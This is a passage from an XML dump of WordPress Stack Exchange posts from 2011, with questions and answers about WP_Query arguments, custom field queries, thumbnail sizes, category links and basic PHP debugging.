  <row Id="26279" PostTypeId="2" ParentId="26276" CreationDate="2011-08-18T19:42:06.763" Score="4" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_custom()&lt;/code&gt;&lt;/a&gt; which will return an array of all post meta in one single call to the database, that should  save a few calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as for including the file over and over you could use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_template_part&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_template_part()&lt;/code&gt;&lt;/a&gt; to include a file once which will hold the entire loop (a good example can be found in the default twenty ten or eleven theme). &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-18T19:42:06.763" CommentCount="2" />
  <row Id="26280" PostTypeId="1" CreationDate="2011-08-18T19:47:56.060" Score="1" ViewCount="27" Body="&lt;p&gt;I am launching an education and awareness site on Federal budget.   Obviously less effort to use .com and can get going faster -- but would like characterization of effort required to migrate later to .org as will need plug-ins for beta.  THANKS&lt;/p&gt;&#xA;" OwnerUserId="8013" LastActivityDate="2011-08-18T19:55:06.867" Title="How much effort to migrate from .com to .org" Tags="&lt;wordpress.com&gt;&lt;migration&gt;" AnswerCount="2" />
  <row Id="26281" PostTypeId="2" ParentId="26280" CreationDate="2011-08-18T19:51:25.080" Score="2" ViewCount="" Body="&lt;p&gt;It's not hard just copy your theme and plugins to the new site and use export from tools in the dashboard and you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-08-18T19:51:25.080" />
  <row Id="26282" PostTypeId="2" ParentId="26280" CreationDate="2011-08-18T19:55:06.867" Score="0" ViewCount="" Body="&lt;p&gt;Assuming that you are trying to do this on a wordpress.com site, and not a self-hosted installation, you will need to use the domain mapping feature, as discussed here: &lt;a href=&quot;http://en.support.wordpress.com/domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/domain-mapping/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your dashboard, go to Upgrades &gt; Domains and type in the domain you would like to register. It will lead you through the process of purchasing the domain and then setting up your blog to be visible at that address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can work on the site while it is at x.wordpress.com as a beta, and then push the site over to the real domain with domain mapping at any time and you should not have any issues, the system will take care of it for you.&lt;/p&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-08-18T19:55:06.867" />
  <row Id="26283" PostTypeId="1" CreationDate="2011-08-18T20:00:11.040" Score="1" ViewCount="51" Body="&lt;p&gt;I'm working on a job board-type site, and the client want to sell featured posts. They want the featured posts to expire from showing up in the &quot;featured&quot; section after a predetermined period of time, but continue to show up in the rest of the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution to this problem would be to assign a custom field to posts in the &quot;featured&quot; category stating the number of days it's to be featured for, say, 15. So the logic of the query would be something like: IF the post is category &quot;featured&quot; AND the custom field &quot;featuredexpiredays&quot; IS LESS THAN days since publication, get the post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a script for calculating the number of days since publication, I'm just failing completely at figuring out how to glom all this together into a single query. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any suggestions on how to do this, or alternately, suggestions of a different way make my site behave in this way? Thanks so much!&lt;/p&gt;&#xA;" OwnerUserId="8014" LastActivityDate="2011-08-18T20:26:44.937" Title="Conditional custom field query" Tags="&lt;custom-field&gt;&lt;wp-query&gt;&lt;query&gt;&lt;conditional-content&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="26284" PostTypeId="2" ParentId="26277" CreationDate="2011-08-18T20:23:50.440" Score="0" ViewCount="" Body="&lt;p&gt;Upgrade by simply overwriting the new version of WordPress files, you will get the prompt of upgrading the database when logged in. Do backup the files &amp;amp; database before trying to do anything so that you can always revert back to the old state in case something goes wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most probably the upgrade will work directly without doing incremental upgrades. And if you would want to, then you can get any version of WordPress like this &lt;code&gt;http://wordpress.org/wordpress-2.9.zip&lt;/code&gt; Change the version in the URL according to the version you want.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-08-19T08:38:41.260" LastActivityDate="2011-08-19T08:38:41.260" />
  <row Id="26285" PostTypeId="2" ParentId="26283" CreationDate="2011-08-18T20:24:59.517" Score="1" ViewCount="" Body="&lt;p&gt;I found this: &lt;a href=&quot;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query&lt;/a&gt;&lt;br&gt;&#xA;I have modified the date to retrieve the last 15 days. It's untested, but should work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$expireDays = '15';&#xA;&#xA;$querystr = &quot;&#xA;    SELECT $wpdb-&amp;gt;posts.* &#xA;    FROM $wpdb-&amp;gt;posts, $wpdb-&amp;gt;postmeta&#xA;    WHERE $wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;postmeta.post_id &#xA;    AND $wpdb-&amp;gt;posts.post_status = 'publish' &#xA;    AND $wpdb-&amp;gt;posts.post_type = 'post'&#xA;    AND $wpdb-&amp;gt;posts.post_date &amp;gt;= ( CURDATE() - INTERVAL $expireDays DAY )&#xA;    ORDER BY $wpdb-&amp;gt;posts.post_date DESC&#xA; &quot;;&#xA;&#xA;$pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-18T20:24:59.517" />
  <row Id="26286" PostTypeId="2" ParentId="26283" CreationDate="2011-08-18T20:26:44.937" Score="1" ViewCount="" Body="&lt;p&gt;It's maybe easier to set an expiration date rather than period, then you can do a meta query for posts with expiration dates greater than today:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;            'posts_per_page' =&amp;gt; -1,&#xA;            'meta_key' =&amp;gt; 'expiration_date',&#xA;            'meta_value' =&amp;gt; date('Y-m-d'),&#xA;            'meta_compare' =&amp;gt; '&amp;gt;=',&#xA;            'orderby' =&amp;gt; 'meta_value',&#xA;            'order' =&amp;gt; 'ASC'            &#xA;);&#xA;$posts = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-18T20:26:44.937" CommentCount="1" />
  <row Id="26287" PostTypeId="2" ParentId="26266" CreationDate="2011-08-18T20:33:37.077" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently dealt with a similar, although much more complex problem where I had to guess taxonomy names that had no naming convention. I built a whole bunch of abstracted functionality to automatically build my queries for me - your need is simpler though, you might as well do these as the link above explains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing to keep in mind is that there are many nested arrays in this situation. That can be the big gotcha in all this - the arrays can get confusing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = array ( //array level  1&#xA;     'tax_query' = array( //array level 2&#xA;             'relation' =&amp;gt; 'AND' // actually in array level 2!&#xA;              array( //array level 3&#xA;                  'taxonomy' =&amp;gt; 'some_tax',&#xA;                  'field' =&amp;gt; 'slug', // 'slug' or 'id'&#xA;                  'operator' =&amp;gt; 'IN', // 'IN', 'NOT' 'IN', or 'AND'&#xA;                  'terms' =&amp;gt; array ( 'some_terms', 'some_terms2' ) // array level 4&#xA;              ),//&amp;lt;--comma!&#xA;&#xA;             array( //array level 3&#xA;                  'taxonomy' =&amp;gt; 'some_other_tax',&#xA;                   'field' =&amp;gt; 'slug', // 'slug' or 'id'&#xA;                  'operator' =&amp;gt; 'IN', // 'IN', 'NOT' 'IN', or 'AND'&#xA;                  'terms' =&amp;gt; 'single_term' // no need for array if only a single term.&#xA;              )&#xA;      )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another important thing to look into is the distinction between 'relation' and 'operator'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Modified to 'terms' values to show that it does  not need to be an array if you dont want to pass multiple terms. Also, when you do pass as an array, you can pass any number of terms you want.&lt;/p&gt;&#xA;" OwnerUserId="51" LastEditorUserId="51" LastEditorDisplayName="" LastEditDate="2011-08-23T18:13:23.757" LastActivityDate="2011-08-23T18:13:23.757" CommentCount="5" />
  <row Id="26288" PostTypeId="2" ParentId="26278" CreationDate="2011-08-18T20:35:53.313" Score="0" ViewCount="" Body="&lt;p&gt;Could you clarify, I think what your asking is if your able to specify post types when querying - you certainly can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Type_.26_Status_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Type_.26_Status_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you asking about category searches, then yes of course. That same link also has information on querying taxonomy, there are many ways to do that thought that depend on the actual site being built.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: From the comments it seems you need to Orderby metadata..&#xA;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="51" LastEditorUserId="51" LastEditorDisplayName="" LastEditDate="2011-08-23T22:46:41.073" LastActivityDate="2011-08-23T22:46:41.073" CommentCount="3" />
  <row Id="26289" PostTypeId="2" ParentId="26262" CreationDate="2011-08-18T21:07:24.927" Score="1" ViewCount="" Body="&lt;p&gt;Based on your pastes, i think what you're going for is..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cp_do_pagination() {   &#xA;&#xA;    if( is_home() || is_singular() /* || is_front_page() */ )&#xA;        return;&#xA;&#xA;    global $post; // &amp;lt;-- do you need this for something in particular?&#xA;&#xA;    if( !function_exists('appthemes_pagination') )&#xA;        return;&#xA;&#xA;    appthemes_pagination();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;is_singular()&lt;/code&gt; function covers &lt;code&gt;is_page()&lt;/code&gt;, &lt;code&gt;is_single()&lt;/code&gt; and &lt;code&gt;is_attachment()&lt;/code&gt;, so no need for the additional conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info on that function here, for reference.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_singular&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/is_singular&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-18T22:30:56.477" LastActivityDate="2011-08-18T22:30:56.477" CommentCount="8" />
  <row Id="26290" PostTypeId="2" ParentId="26263" CreationDate="2011-08-18T22:10:59.550" Score="0" ViewCount="" Body="&lt;p&gt;I've had the same problem and found this to be the best solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   $content = get_the_content(); &#xA;   $dot = &quot;.&quot;; &#xA;   $position = stripos ($content, $dot); &#xA;&#xA;   if($position) { &#xA;        $offset = $position + 1; &#xA;        $position2 = stripos ($content, $dot, $offset); &#xA;        $first_one = substr($content, 0, $position);&#xA;        $first_two = substr($content, 0, $position2); &#xA;&#xA;        if($position2 &amp;gt; 120) {&#xA;           echo $first_one . '.';&#xA;        }&#xA;&#xA;        else {&#xA;            echo $first_two . '.';&#xA;         }&#xA;   }&#xA;&#xA;         else {  &#xA;&#xA;         }&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above displays two first sentences (the post excerpt) and if they are longer than 120 symbols - it will display only the first one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are no dots in the content it does nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now just attach Read more link after your excerpt: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;read-more&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;Read more...&amp;lt;/a&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And everything is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why &quot;more tag&quot; doesn't work for some custom post types, but I spent a lot of time figuring it out and after all ended with this silly function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a PHP programmer neither and I know this solution is pretty long and complex, but that's the only thing that worked for me and I was in the same spot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function isn't perfect and doesn't recognize dots after words like &quot;etc.&quot; or &quot;e.g.&quot;, it will treat every dot as sentence ending.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-08-18T22:10:59.550" CommentCount="1" />
  <row Id="26291" PostTypeId="1" CreationDate="2011-08-18T22:12:35.333" Score="1" ViewCount="30" Body="&lt;p&gt;I'm placing a list of category links with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;h2&amp;gt;Categories List&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php          &#xA;        function my_cat_title($category_description,$category){&#xA;            return '';&#xA;        }&#xA;&#xA;        $cat_args = array('orderby' =&amp;gt; 'name');&#xA;        $cat_args['title_li'] = '';&#xA;        $cat_args['exclude_tree'] = 1;&#xA;        $cat_args['use_desc_for_title'] = 1;&#xA;        add_filter('category_description','my_cat_title');&#xA;        wp_list_categories(apply_filters('widget_categories_args', $cat_args));&#xA;        remove_filter('category_description','my_cat_title');&#xA;&#xA;        ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, each of the links has a title attribute like 'title=&quot;View all posts filed under x&quot;'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I remove the title attribute altogether?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastEditorUserId="6620" LastEditorDisplayName="" LastEditDate="2011-08-19T15:17:21.240" LastActivityDate="2011-08-19T15:17:21.240" Title="How to filter or remove the &quot;title&quot; attribute from category links" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="26292" PostTypeId="1" CreationDate="2011-08-18T22:13:52.903" Score="0" ViewCount="13" Body="&lt;p&gt;So I have a Custom Post Type setup and running with no issue.&#xA;I also have a WordPress menu object as my primary navigation.&#xA;I added my Custom Post to the main menu and when I click on to the landing page the correct menu item is highlighted.&#xA;When I however click into an individual custom post, the &quot;Blog&quot; menu item is highlighted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got any idea as to what the frick is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Ed&lt;/p&gt;&#xA;" OwnerUserId="7647" LastActivityDate="2011-08-19T04:01:09.313" Title="Custom Post Menu link reverting to Blog menu item" Tags="&lt;menus&gt;" AnswerCount="1" />
  <row Id="26293" PostTypeId="1" AcceptedAnswerId="26295" CreationDate="2011-08-18T22:52:25.210" Score="0" ViewCount="19" Body="&lt;p&gt;I'm adding additional image sizes to my theme:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( 'my-thumbnails', 122, 122, true );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used to get thumbnails URL like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_attachment_url(get_post_thumbnail_id($post-&amp;gt;ID)); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it works like a charm, but I'm not sure how to display 'my-thumbnails' version of the thumbnail? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_attachment_image_src( get_post_thumbnail_id($post-&amp;gt;ID),'my-thumbnails' );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's wrong?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-08-18T23:23:04.327" Title="Getting custom-sized featured image's URL?" Tags="&lt;post-thumbnails&gt;&lt;add-image-size&gt;" AnswerCount="2" />
  <row Id="26294" PostTypeId="2" ParentId="26293" CreationDate="2011-08-18T23:01:59.667" Score="0" ViewCount="" Body="&lt;p&gt;make your own function in function.php for display your images, then call it and put the size on the parameters of the function. &lt;/p&gt;&#xA;" OwnerUserId="7602" LastActivityDate="2011-08-18T23:01:59.667" CommentCount="2" />
  <row Id="26295" PostTypeId="2" ParentId="26293" CreationDate="2011-08-18T23:23:04.327" Score="1" ViewCount="" Body="&lt;p&gt;You should use one of the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Thumbnail&#xA;wp_get_attachment_thumb_file( $GLOBALS['post']-&amp;gt;ID );&#xA;&#xA;// Custom&#xA;wp_get_attachment_image_src( $attachment_id, $size='thumbnail' );&#xA;// Or:&#xA;wp_get_attachment_image( $attachment_id, $size = 'thumbnail' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-18T23:23:04.327" />
  <row Id="26296" PostTypeId="1" CreationDate="2011-08-18T23:34:47.637" Score="0" ViewCount="21" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;2011&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;January&#xA;                &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;li&amp;gt;Post 1&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;Post 2&amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;February&#xA;                &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;li&amp;gt;etc&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;etc&amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/elx7I.jpg&quot; alt=&quot;mockup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1127" LastEditorUserId="1127" LastEditorDisplayName="" LastEditDate="2011-08-18T23:40:26.540" LastActivityDate="2011-08-18T23:55:56.093" Title="Generate a nested list of all posts, sorted first by year, then by month" Tags="&lt;list&gt;" AnswerCount="1" />
  <row Id="26297" PostTypeId="1" CreationDate="2011-08-18T23:35:11.260" Score="0" ViewCount="22" Body="&lt;p&gt;I tried WordPress 3.2.1 + BuddyPress 1.2.9 to build a small social website for talking about sports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a plugin, whether people share and post sports stories in &lt;code&gt;activity&lt;/code&gt; or &lt;code&gt;groups&lt;/code&gt;, they can also choose to post the current article to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;my or his/her&lt;/code&gt; facebook wall &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;my or his/her&lt;/code&gt; twitter timeline as a short url.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there anyone know and recommend to me? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: no &lt;code&gt;buddystream&lt;/code&gt;, it is not a really gpl plugin.&lt;/p&gt;&#xA;" OwnerUserId="5988" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-19T00:29:25.057" LastActivityDate="2011-08-19T00:29:25.057" Title="Find a plugin post articles from buddypress to facebook and twitter" Tags="&lt;buddypress&gt;&lt;facebook&gt;&lt;twitter&gt;" CommentCount="1" />
  <row Id="26298" PostTypeId="2" ParentId="26296" CreationDate="2011-08-18T23:55:56.093" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/display-archive-by-month-and-then-post-by-post&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/display-archive-by-month-and-then-post-by-post&lt;/a&gt; and here &lt;a href=&quot;http://wordpress.org/support/topic/custom-date-format-using-post_date?replies=10&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/custom-date-format-using-post_date?replies=10&lt;/a&gt; might get you started&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-08-18T23:55:56.093" />
  <row Id="26299" PostTypeId="1" CreationDate="2011-08-19T00:21:15.010" Score="-1" ViewCount="37" Body="&lt;p&gt;For some reason, the code returns a blank page. How would I fix this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;lt;?php if ( is_page('photos') || is_page_template('photos-2.php') || is_attachment() ) {&#xA;    echo &quot; class=\&quot;current\&quot;&quot;;&#xA;}&#xA;?&amp;gt;&amp;gt;&#xA;&amp;lt;a id=&quot;photos-page&quot; href=&quot;&amp;lt;?php bloginfo('url') ?&amp;gt;/photos&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8018" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-19T01:59:31.150" LastActivityDate="2011-08-19T03:55:32.547" Title="How do I make this code work?" Tags="&lt;php&gt;&lt;conditional-tags&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="26300" PostTypeId="2" ParentId="26291" CreationDate="2011-08-19T00:41:08.050" Score="1" ViewCount="" Body="&lt;p&gt;If you use the &lt;code&gt;category_description&lt;/code&gt; filter hook you can replace the title attribute for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_cat_title($category_description,$category){&#xA;   return '';&#xA;}&#xA;add_filter('category_description','my_cat_title');&#xA;$cat_args = array('orderby' =&amp;gt; 'name');&#xA;$cat_args['title_li'] = '';&#xA;$cat_args['exclude_tree'] = my_cat();&#xA;wp_list_categories(apply_filters('widget_categories_args', $cat_args));&#xA;remove_filter('category_description','my_cat_title');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-19T02:02:44.377" LastActivityDate="2011-08-19T02:02:44.377" CommentCount="2" />
  <row Id="26301" PostTypeId="2" ParentId="23407" CreationDate="2011-08-19T02:38:53.417" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;chown www-data:www-data public_html/ -R&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Ubuntu and Debian apache &amp;amp; php run as the www-data user and www-data group so any files that php needs to be able to write to have to be owned by the user and group.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-08-19T02:38:53.417" />
  <row Id="26302" PostTypeId="1" CreationDate="2011-08-19T02:48:36.953" Score="0" ViewCount="9" Body="&lt;p&gt;I'm looking for a plugin to display comments just from a certain directory on the sidebar, have you guys ever found any? Been pulling my hair looking for this particular type of plugin :(&lt;/p&gt;&#xA;" OwnerUserId="8021" LastEditorUserId="8021" LastEditorDisplayName="" LastEditDate="2011-08-19T02:57:59.090" LastActivityDate="2011-08-19T02:57:59.090" Title="Plugin to display certain comments from a certain category and its children" Tags="&lt;plugin-recommendation&gt;&lt;comments&gt;" CommentCount="1" />
  <row Id="26303" PostTypeId="2" ParentId="20812" CreationDate="2011-08-19T03:28:15.753" Score="0" ViewCount="" Body="&lt;p&gt;I also got this problem before. I try to use the (bool) but the problem still occured.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(bool) $instance['post_date']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will always return true unless $instance['post_date'] is an empty array, NULL or empty string&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can check this from &lt;a href=&quot;http://php.net/manual/en/language.types.boolean.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/language.types.boolean.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    var_dump((bool) &quot;&quot;);        // bool(false)&#xA;    var_dump((bool) 1);         // bool(true)&#xA;    var_dump((bool) -2);        // bool(true)&#xA;    var_dump((bool) &quot;foo&quot;);     // bool(true)&#xA;    var_dump((bool) 2.3e5);     // bool(true)&#xA;    var_dump((bool) array(12)); // bool(true)&#xA;    var_dump((bool) array());   // bool(false)&#xA;    var_dump((bool) &quot;false&quot;);   // bool(true)&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so to handle this problem, I print the $instance['post_date'] and get the value 'on'. So now my code currently look something like this and working perfectly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php checked( $instance['post_date'], 'on' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7992" LastActivityDate="2011-08-19T03:28:15.753" />
  <row Id="26304" PostTypeId="2" ParentId="26299" CreationDate="2011-08-19T03:55:32.547" Score="0" ViewCount="" Body="&lt;p&gt;First off a blank page most likey means you php has encountered a fatal error. its white because your php.ini settings probably have display errors turned off, which is why you getting a white page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, the more important issue, is fixing your code. the first issue is see if your missing a semi-colon change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a id=&quot;photos-page&quot; href=&quot;&amp;lt;?php bloginfo('url') ?&amp;gt;/photos&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a id=&quot;photos-page&quot; href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/photos&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;let me know it that works.&lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2011-08-19T03:55:32.547" />
  <row Id="26306" PostTypeId="2" ParentId="26292" CreationDate="2011-08-19T04:01:09.313" Score="0" ViewCount="" Body="&lt;p&gt;I'm just shooting in the dark here, but what i think is going on is your menu &quot;thinks&quot; its on the blog page when its really on the &quot;CPT&quot; page? is that about right? if so then you need to select a blog page in the admin section. Under the Settings menu click on the &quot;Reading&quot; sub menu. There you will find two select boxes. I'd suggest you select a specific page for your home page and your blog page. see if that corrects the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not even in the right ball park, please let me know. &lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2011-08-19T04:01:09.313" CommentCount="1" />
  <row Id="26307" PostTypeId="1" AcceptedAnswerId="26905" CreationDate="2011-08-19T04:48:26.520" Score="0" ViewCount="30" Body="&lt;p&gt;My friend mentioned that there is a simple way to modify what users see in the admin sidebar based on their user role. I have a large number of custom post types, one for each user, and I need to limit these users (currently given the role 'author') access to only their own post type and the Posts (not even Pages). I also want to hide Widgets from them. Is there a bit of PHP I can stick in my functions.php file to accomplish this easily?&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-08-25T17:14:12.653" Title="WordPress User Roles, Custom Post Types, and Admin views" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;admin&gt;" AnswerCount="2" />
  <row Id="26308" PostTypeId="1" CreationDate="2011-08-19T04:57:07.363" Score="0" ViewCount="11" Body="&lt;p&gt;I am setting up a site that uses a squeeze page with the plugin &quot;SplashScreen&quot;. It sets a cookie so the user only sees the page once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user can choose from two options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A.) Enter their email address in the form to proceed to the site.&#xA;B.) Click a link located under the field which allows them to bypass giving their email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently as it stands the user is taken to a thank you page upon giving their email, where they can then click a link to get taken to the home page. Or they are taken directly to the home page if they click the bypass link. However, this only works out well if they came to site directly. If they came to the site from a direct link to a specific post or page they will not be taken back to the page they intended to view originally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am 